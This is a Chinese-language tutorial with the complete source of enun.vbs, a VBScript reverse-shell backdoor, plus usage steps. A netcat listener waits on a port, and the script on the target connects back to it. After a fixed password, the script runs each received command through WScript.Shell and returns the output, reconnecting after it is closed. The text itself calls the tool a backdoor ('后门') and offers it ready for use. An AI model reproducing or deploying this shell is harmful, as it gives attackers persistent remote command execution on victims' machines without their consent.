VBScript 打造自己的远程CMDShell附使用教程

请先下载 mswinsck.ocx 与 vb6controls.reg！

使用方法：

1，控制：nc.exe，执行：nc -l -v -p 1234；



2，目标：cscript.exe enun.vbs ip port；



3，密码：enun。

几点说明：
1，退出 shell，请输入 “exit”，不要用 “ctrl + c”，这样的话只能等目标重启或手动运行后门才能连接；
2，windows 7 等环境下普通标准用户也能使用，但是获取的权限相对有限。
3，内部命令及管道使用如下图：

相关下载：
      1，视频演示
      2，

enun.vbs 源码：

'--------------------------------------------------------------------------
' copyright (c) lxzzr. all rights reserved.
' scriptname: enun.vbs
' creation date: 28/8/2012
' last modified: 28/8/2012
' author: lxzzr, www.enun.net
' e-mail: [e-mail]
' usage: cscript.exe //nologo enun.vbs ip port
'--------------------------------------------------------------------------
on error resume next
public socketobj, execobj, shellobj
remotehost = wscript.arguments(0)
remoteport = wscript.arguments(1)

do
 do while (socketobj.state <> 7)
  wscript.echo "try connect to " & remotehost & ":" & remoteport & " ..."

  set socketobj = wscript.createobject("mswinsock.winsock")
  socketobj.protocol = 0
  socketobj.remotehost = remotehost
  socketobj.remoteport = remoteport
  socketobj.connect

  wscript.sleep 3000
 loop

 wscript.echo "connected to server."
 socketobj.senddata socketobj.localhostname & " is connected, enter password: "
 do while (socketobj.bytesreceived = 0)
  wscript.sleep 10
 loop

 '密码验证
 socketobj.getdata authkey, vbstring
 if split(authkey, chr(10), -1, 1)(0) = "enun" then

  set shellobj = createobject("wscript.shell")
  srevdata = " "
  socketobj.senddata "logon success, welcome!" & chr(13) & chr(10)

  '循环等待执行命令
  do
   set execobj = shellobj.exec(split(srevdata, chr(10), -1, 1)(0))

   socketobj.senddata execobj.stdout.readall
   socketobj.senddata execobj.stderr.readall

   if srevdata <> "" then
    socketobj.senddata chr(10) & "[" & socketobj.localhostname & "@" & "enun]#: "
   end if

   if left(srevdata, 4) = "exit" then
    socketobj.close
    exit do
   end if

   socketobj.getdata srevdata, vbstring
   wscript.sleep 1000
  loop
 else
  lockoutbadcount = lockoutbadcount + 1
  socketobj.senddata "logon failure: unknown user name or bad password." & chr(13) & chr(10)
  wscript.sleep 1000
 end if

 '账户策略
 if (lockoutbadcount > 3) then
  socketobj.senddata "the user account is locked!" & chr(13) & chr(10)
  wscript.sleep 1000
  socketobj.close
  lockoutbadcount = 0
  wscript.sleep 600*1000
 end if
loop